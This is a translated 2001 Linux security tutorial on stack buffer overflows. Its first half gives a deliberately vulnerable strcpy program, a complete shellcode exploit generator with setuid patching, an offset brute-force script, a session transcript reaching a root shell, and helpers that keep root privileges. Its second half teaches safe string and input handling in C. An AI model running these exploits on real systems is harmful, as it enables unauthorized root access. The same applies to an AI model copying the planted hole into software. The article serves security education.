![[image of the authors]](../FredCrisBCrisG.jpg)
Original in fr Frédéric Raynal, Christophe Blaess, Christophe Grenier
fr to en Georges Tarbouriech
Christophe Blaess is an independent aeronautics engineer. He is a Linux fan and does much of his work on this system. He coordinates the translation of the man pages as published by the Linux Documentation Project.
Christophe Grenier is a 5th year student at the ESIEA, where he works as a sysadmin too. He has a passion for computer security.
Frédéric Raynal has been using Linux for many years because it doesn't pollute, it doesn't use hormones, neither GMO nor animal fat-flour... only sweat and tricks.
In our previous article we wrote a small program of about 50 bytes able to start a shell or able to exit in case of failure. Now we must insert this code into the application we want to attack. This is done overwriting the return address of a function to replace it with our shellcode address, that is forcing the overflow of an automatic variable allocated in the process stack.
For example, in the following program, we copy the string given as first
argument in the command line to a 500 bytes buffer. This copy is done without
checking if it's beyond the buffer size. As we'll see it later on, using the
strncpy() function allows to avoid this problem.
/* vulnerable.c */
#include <string.h>
int main(int argc, char * argv [])
{
char buffer [500];
if (argc > 1)
strcpy(buffer, argv[1]);
return (0);
}
buffer is an automatic variable, the space used by the
500 bytes is reserved in the stack as soon as entering the
main() function. When running the vulnerable program
with an argument longer than 500 characters, the data overflows the buffer and
"invades" the process stack. As we've seen before, the stack holds the address
of the next instruction to be executed (aka return address).
To exploit this security hole, enough to replace the return address of the
function with the shellcode address we want to execute. This shellcode is
inserted into the body buffer, followed by its address in memory.
Getting the memory address of the shellcode is rather tricky. We must discover
the offset between the %esp register pointing to the top of the
stack and the shellcode address. To benefit from a margin of safety, the
beginning of the buffer is filled up with the NOP assembly
instruction; it's a one byte neutral instruction having no effect at all.
Thus, when the starting address points before the true beginning of the
shellcode, the CPU goes from NOP to NOP till it
reaches our code. To get more chance, we put the shellcode in the middle of the
buffer, followed by the starting address repeated till the end, and preceded by
a NOP block. The diagram 1 illustrates the
creation of the buffer to be used as an exploit.
Diagram 2 describes the state of the stack
before and after the overflow. It causes all the saved information
(saved %ebp, saved %eip, arguments,...) to
be replaced with the new expected return address : the beginning
of the exploited buffer containing the eggshell.
 |
 |
However, there is another problem related to variable alignment within the stack.
An address being stored in various bytes, the alignment within the stack doesn't
always fit. This drawback is solved proceeding by trial and error to find the
right alignment. Since our CPU uses 4 bytes words, the alignment is 0, 1, 2 or 3
bytes (check article 2 about stack organization).
In diagram 3, the grayed parts correspond to the
written 4 bytes. The first case where the return address is overwritten is the
only one to work. The others lead to segmentation violation or
illegal instruction errors. This empirical way to search
works fine
since todays computers power allows us to do this kind of testing.
We are going to write a small program launching a vulnerable application by sending it a buffer to overflow the stack. This program has various options to set the shellcode position in memory, to choose the program to run. This version, inspired by Aleph One article from phrack magazine issue 49, is available from Christophe Grenier website.
How to send our so prepared buffer to the aimed application ?
Usually, you can use a command line parameter like the one in
vulnerable.c or an environment variable.
The overflow either takes place from the lines typed by the user, what is harder
to automate, or from data read from a file.
The generic_exploit.c program starts allocating the right size
buffer, next it copies the shellcode there and fills it up with the addresses
and the NOP codes as explained above. It then prepares an argument array and
runs the target application using the execve() instruction, this
last replacing the current process with the invoked one.
The generic_exploit parameters are the buffer size to exploit (a
bit bigger than its size to be able to overwrite the return address), the
memory offset and the alignment. We indicate if the buffer is passed either as an
environment variable (var) or from the command line
(novar).
The force/noforce argument allows the call (or doesn't) to the
setuid()/setgid() function from the shellcode.
/* generic_exploit.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\xff\x31\xc0\x88\x46\xff\x89\x46\xff\xb0\x0b"
"\x89\xf3\x8d\x4e\xff\x8d\x56\xff\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff";
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
#define A_BSIZE 1
#define A_OFFSET 2
#define A_ALIGN 3
#define A_VAR 4
#define A_FORCE 5
#define A_PROG2RUN 6
#define A_TARGET 7
#define A_ARG 8
int main(int argc, char *argv[])
{
char *buff, *ptr;
char **args;
long addr;
int offset, bsize;
int i,j,n;
struct stat stat_struct;
int align;
if(argc < A_ARG)
{
printf("USAGE: %s bsize offset align (var / novar) (force/noforce) prog2run target param\n", argv[0]);
return -1;
}
if(stat(argv[A_TARGET],&stat_struct))
{
printf("\nCannot stat %s\n", argv[A_TARGET]);
return 1;
}
bsize = atoi(argv[A_BSIZE]);
offset = atoi(argv[A_OFFSET]);
align = atoi(argv[A_ALIGN]);
if(!(buff = malloc(bsize)))
{
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() + offset;
printf("bsize %d, offset %d\n", bsize, offset);
printf("Using address: 0lx%lx\n", addr);
for(i = 0; i < bsize; i+=4) *(long*)(&buff[i]+align) = addr;
for(i = 0; i < bsize/2; i++) buff[i] = NOP;
ptr = buff + ((bsize/2) - strlen(shellcode) - strlen(argv[4]));
if(strcmp(argv[A_FORCE],"force")==0)
{
if(S_ISUID&stat_struct.st_mode)
{
printf("uid %d\n", stat_struct.st_uid);
*(ptr++)= 0x31; /* xorl %eax,%eax */
*(ptr++)= 0xc0;
*(ptr++)= 0x31; /* xorl %ebx,%ebx */
*(ptr++)= 0xdb;
if(stat_struct.st_uid & 0xFF)
{
*(ptr++)= 0xb3; /* movb $0x??,%bl */
*(ptr++)= stat_struct.st_uid;
}
if(stat_struct.st_uid & 0xFF00)
{
*(ptr++)= 0xb7; /* movb $0x??,%bh */
*(ptr++)= stat_struct.st_uid;
}
*(ptr++)= 0xb0; /* movb $0x17,%al */
*(ptr++)= 0x17;
*(ptr++)= 0xcd; /* int $0x80 */
*(ptr++)= 0x80;
}
if(S_ISGID&stat_struct.st_mode)
{
printf("gid %d\n", stat_struct.st_gid);
*(ptr++)= 0x31; /* xorl %eax,%eax */
*(ptr++)= 0xc0;
*(ptr++)= 0x31; /* xorl %ebx,%ebx */
*(ptr++)= 0xdb;
if(stat_struct.st_gid & 0xFF)
{
*(ptr++)= 0xb3; /* movb $0x??,%bl */
*(ptr++)= stat_struct.st_gid;
}
if(stat_struct.st_gid & 0xFF00)
{
*(ptr++)= 0xb7; /* movb $0x??,%bh */
*(ptr++)= stat_struct.st_gid;
}
*(ptr++)= 0xb0; /* movb $0x2e,%al */
*(ptr++)= 0x2e;
*(ptr++)= 0xcd; /* int $0x80 */
*(ptr++)= 0x80;
}
}
/* Patch shellcode */
n=strlen(argv[A_PROG2RUN]);
shellcode[13] = shellcode[23] = n + 5;
shellcode[5] = shellcode[20] = n + 1;
shellcode[10] = n;
for(i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];
/* Copy prog2run */
printf("Shellcode will start %s\n", argv[A_PROG2RUN]);
memcpy(ptr,argv[A_PROG2RUN],strlen(argv[A_PROG2RUN]));
buff[bsize - 1] = '\0';
args = (char**)malloc(sizeof(char*) * (argc - A_TARGET + 3));
j=0;
for(i = A_TARGET; i < argc; i++)
args[j++] = argv[i];
if(strcmp(argv[A_VAR],"novar")==0)
{
args[j++]=buff;
args[j++]=NULL;
return execve(args[0],args,NULL);
}
else
{
setenv(argv[A_VAR],buff,1);
args[j++]=NULL;
return execv(args[0],args);
}
}
To benefit from vulnerable.c, we must have a buffer bigger than the
one expected by the application. We select for instance 600 bytes instead of the
500 expected. Finding the offset related to the top of the stack is done by
successive tests. The address built with the addr = get_sp() +
offset; instruction, used to overwrite the return address, is obtained... with
a bit of luck !
The operation relies on the heurism that the %esp register won't
move too much during the current process and the one called at the end of the
program. Practically, nothing is certain : various events are able to modify
the stack state from the time the computation is done to the time the
program to exploit is called.
Here, we succeeded in activating an exploitable overflow with a -1900 bytes
offset. Of course, to complete the experience, the vulnerable
target must be Set-UID root.
$ cc vulnerable.c -o vulnerable $ cc generic_exploit.c -o generic_exploit $ su Password: # chown root.root vulnerable # chmod u+s vulnerable # exit $ ls -l vulnerable -rws--x--x 1 root root 11732 Dec 5 15:50 vulnerable $ ./generic_exploit 600 -1900 0 novar noforce /bin/sh ./vulnerable bsize 600, offset -1900 Using address: 0lxbffffe54 Shellcode will start /bin/sh bash# id uid=1000(raynal) gid=100(users) euid=0(root) groups=100(users) bash# exit $ ./generic_exploit 600 -1900 0 novar force /bin/sh /tmp/vulnerable bsize 600, offset -1900 Using address: 0lxbffffe64 uid 0 Shellcode will start /bin/sh bash# id uid=0(root) gid=100(users) groups=100(users) bash# exitIn the first case (
noforce), our uid doesn't change.
Nevertheless we have a new euid providing us with all the rights.
Thus, even if while editing the /etc/passwd file with vi,
this last says the file is read-only, all the changes will work : you just have
to force the writing with w! :)
The force parameter allows uid=euid=0 from start.
To automatically find offset values allowing an overflow, using a small shell script makes things even easier :
#! /bin/sh
# find_exploit.sh
BUFFER=600
OFFSET=$BUFFER
OFFSET_MAX=2000
while [ $OFFSET -lt $OFFSET_MAX ] ; do
echo "Offset = $OFFSET"
./generic_exploit $BUFFER $OFFSET 0 novar force /bin/sh ./vulnerable
OFFSET=$(($OFFSET + 4))
done
In our exploit we didn't take into account the potential alignment problems.
Then, it's possible that this example doesn't work for you with the same values,
or doesn't work at all because of the alignment. (For those wanting to test
anyway, the alignment parameter has to be changed to 1, 2 or 3 (here, 0).
Some systems don't accept writing in memory areas not being a whole word, but
this is not true for Linux)
Unfortunately, sometimes the obtained shell is unusable since it ends on its own or when pressing a key. An indirect mean allows to keep these privileges so hardly acquired.
/* set_run_shell.c */
#include <unistd.h>
#include <sys/stat.h>
int main()
{
chown ("/tmp/run_shell", geteuid(), getegid());
chmod ("/tmp/run_shell", 06755);
return 0;
}
Since our exploit is only able to do one task at a time, we are going to
transfer the rights gained from the run_shell program with the help
of the set_run_shell program. We'll then get the desired shell.
/* run_shell.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
int main()
{
setuid(geteuid());
setgid(getegid());
execl("/tmp/shell","shell","-i",0);
exit (0);
}
The -i option corresponds to interactive. Why not
giving the rights directly to a shell ? Just because the s bit is
not available for every shell. The recent versions check that uid is equal to
euid, same for gid and egid.
Thus bash2 and tcsh incorporate this defense line, but
neither bash, nor ash have it.
This method must be refined when the partition on which run_shell
is located (here, /tmp) is mounted nosuid or
noexec.
Since we have a Set-UID program with a buffer overflow bug and its source code, we are able to prepare an attack allowing to execute any arbitrary code under the ID of the file owner. However, our goal is to avoid security holes. Then we are going to examine a few rules to prevent from buffer overflows.
The first rule to follow is just a matter of good sense : the indexes used to manipulate an array must always be checked carefully. A "clumsy" loop like :
for (i = 0; i <= n; i ++) {
table [i] = ...
probably holds an error because of the <= sign instead of
< since an access is done beyond the end of the array.
If it's easy to check with such a loop, it'll be more difficult with a loop
through decreasing indexes since you must ensure not going under zero.
Apart from the for(i=0; i<n ; i++) trivial case, you must check
various times (even ask someone else to check for you) the algorithm used,
especially when reaching the loop extremes.
The same type of problem is found with strings : you must always think of adding one more byte for the final null character. Forgetting it, is one of the newbie most frequent mistake; furthermore it's hard to diagnose since it can stay hided because of variables alignment.
Array indexes must not be underestimated as far as application security is concerned. We have seen (check Phrack issue 55) that only one byte overflow is enough to create a security hole, inserting the shellcode into an environment variable, for instance.
#define BUFFER_SIZE 128
void foo(void) {
char buffer[BUFFER_SIZE+1];
/* end of string */
buffer[BUFFER_SIZE] = '\0';
for (i = 0; i<BUFFER_SIZE; i++)
buffer[i] = ...
}
strcpy(3) function copies
into a destination string the original string content till this null byte
included. In some cases, this behavior becomes dangerous; we have seen the
following code holds a security hole :
#define LG_IDENT 128
int fonction (const char * name)
{
char identity [LG_IDENT];
strcpy (identity, name);
...
}
To avoid this kind of problem, there are functions with limited length. These
functions have an `n' in the middle of their name, for instance
strncpy(3) as a replacement for strcpy(3),
strncat(3) for strcat(3) or even
strnlen(3) for strlen(3).
However, you must be careful with the strncpy(3) limitation since
it generates edge effects : when the source string is shorter than the
destination one, this last will be completed with null characters till the
n limit, what makes the application less performing. In the other hand,
if the source one is longer, it will be truncated to complete the destination
one, but this last will not end with a null character. Accordingly, you must add
it manually. Taking this into account, the previous routine becomes :
#define LG_IDENT 128
int fonction (const char * name)
{
char identity [LG_IDENT+1];
strncpy (identity, name, LG_IDENT);
identity [LG_IDENT] = '\0';
...
}
Of course, the same principles apply to routines manipulating large characters,
preferring for instance wcsncpy(3) to
wcscpy(3) or wcsncat(3) to wcscat(3).
Sure, the program gets bigger but the security improves too.
Like strcpy(), strcat(3) doesn't check buffers size.
The strncat(3) function adds a character at the end of the string
if it finds the room to do it. Replacing strcat(buffer1, buffer2);
with strncat(buffer1, buffer2, sizeof(buffer1)-1); is enough to
eliminate the risk.
The sprintf() function allows to copy formatted data into a string.
It also has a version allowing to check the number of bytes to copy : snprintf().
This function returns the number of characters written into the destination
string (without taking into account the `\0'). Testing this return value allows
to know if the writing has been done properly :
if (snprintf(dst, sizeof(dst) - 1, "%s", src) > sizeof(dst) - 1) {
/* Overflow */
...
}
Obviously, this is not worth it anymore as soon as the user gets the control on the number of bytes to copy. Such a hole in BIND (Berkeley Internet Name Daemon) made a lot of crackers busy :
struct hosten *hp; unsigned long address; ... /* copy of an address */ memcpy(&address, hp->h_addr_list[0], hp->h_length); ...This should always copy 4 bytes. Nevertheless, if you can change
hp->h_length, then you become able to modify the stack.
Accordingly, it's compulsory to check the data length before copying :
struct hosten *hp;
unsigned long address;
...
/* test */
if (hp->h_length > sizeof(address))
return 0;
/* copy of an address */
memcpy(&address, hp->h_addr_list[0], hp->h_length);
...
In some circumstances it's impossible to truncate that way (path, hostname,
URL...) and things have to be done earlier in the program as soon as data is
typed.
First of all, this concerns string typing routines. According to what we just
said, we won't insist on the fact you must never use gets(char *chaine)
since the string length is not checked (authors note : this routine should be
forbidden by the link editor for new compiled programs).
More insidious risks are hided in scanf(). The line
scanf ("%s", string)
for instance is as dangerous as gets(char *chaine), but it isn't so
obvious. However functions from the scanf() family offer a control
mechanism of the data size :
char buffer[256];
scanf("%255s", buffer);
This formatting limits to 255 the number of characters copied into
buffer.
In the other hand, scanf() putting the characters it doesn't
like back into the incoming flow (for example a character while it waits for a
figure), the risks of programming errors generating locks are rather high.
Using C++, thecin flow replaces the classical functions used in C
(even if you can still use them). The following program fills a buffer :
char buffer[500]; cin>>buffer;As you can see, no test is done ! We are in a situation similar to
gets(char *chaine) while using C : a door is wide open. The
ios::width() member function allows to fix the maximal number of
characters to be read.
The reading of data requires two steps.
A first phase consists in getting the string with fgets(char *chaine, int taille, FILE stream),
what limits the size of the used memory area. Next, the read data is formatted,
through sscanf() for example.
The first phase can do more, such as inserting fgets(char *chaine, int
taille, FILE stream) into a loop automatically allocating the required
memory, without arbitrary limit. The Gnu extension getline() can do
that for you. It's also possible to include typed characters validation using
isalnum(), isprint(), etc. The strspn()
function allows effective filtering. The program becomes a bit slower, but thus the
code sensitive parts are protected with a bulletproof jacket from incoming
litigious data.
Direct data typing is not the only attackable entry point. The software data files are vulnerable, but the code written to read them is usually stronger than the one for typing, programmers intuitively untrusting the files content provided by the user.
The buffer overflows attacks often lean on something else : environment strings.
We must not forget a programmer can fully configure a process environment before
launching it. The convention saying an environment string must be of the
"NAME=VALUE" type is useless in front of an ill-intentioned user.
Using the getenv() routine requires some caution, especially when
it's about return string length (arbitrarily long) and its content (where you
can find any character, `=' included). The string returned by
getenv() will be treated like the one provided by
fgets(char *chaine, int taille, FILE stream), taking care of its
length and validating it one character after the other.
Using such filters is done like accessing a computer : default is to forbid everything ! Next, you can allow a few things :
#define GOOD "abcdefghijklmnopqrstuvwxyz\
BCDEFGHIJKLMNOPQRSTUVWXYZ\
1234567890_"
char *my_getenv(char *var) {
char *data, *ptr
/* Getting the data */
data = getenv(var);
/* Filtering
Rem : obviously the replacement character must be
in the list of the allowed ones !!!
*/
for (ptr = data; *(ptr += strspn(ptr, GOOD));)
*ptr = '_';
return data;
}
The strspn() function makes it easy : it looks for the first
character not hold in the specific whole. It returns the string length (starting
from 0) only holding valid characters. You must never use the
strcspn opposite function instead , since the approach then becomes
specifying the forbidden characters and checking that none is present in the
typing.
Buffer overflow relies on the stack content overwriting as to change the return address of a function. The attack concerns automatic data, only allocated in the stack. A way to move the problem is to replace the characters tables allocated in the stack with dynamic variables found in the heap. To do this we replace the sequence
#define LG_STRING 128
int fonction (...)
{
char chaine [LG_STRING];
...
return (result);
}
with :
#define LG_STRING 128
int fonction (...)
{
char *string = NULL;
if ((string = malloc (LG_STRING)) == NULL)
return (-1);
memset(string,'\0',LG_STRING);
[...]
free (string);
return (result);
}
These lines overload the code and generate risks of memory leak, but we must
take advantage of these changes to modify the approach, avoiding to impose
arbitrary length limits. Let's add you can't expect the same result using a
simpler way with the alloca() function. This last allocates the
data in the process stack, what leads to the same problem as automatic
variables. Initializing memory to zero using memset() allows to
avoid a few problems related to the use of uninitialized variables. Again,
this doesn't correct the problem, the exploit just becomes less trivial.
Those wanting to carry on with the subject can read the article about Heap
overflows from w00w00.
Last, let's say it's possible under some circumstances to get rid quickly of a
security hole adding the static keyword before the buffer
declaration. This one is then allocated in the data segment far from the process
stack. It becomes impossible to get a shell but the problem of DoS is still
present. Of course, this doesn't work if the routine is called recursively. This
"medicine" has to be considered as a palliative, only used for eliminating a
security hole in an emergency without changing much of the code.
Christophe BLAESS - ccb@club-internet.fr Christophe GRENIER - grenier@cgsecurity.org Frédéreric RAYNAL - pappy@users.sourceforge.net
Last modified: Mon Apr 9 13:47:19 CEST 2001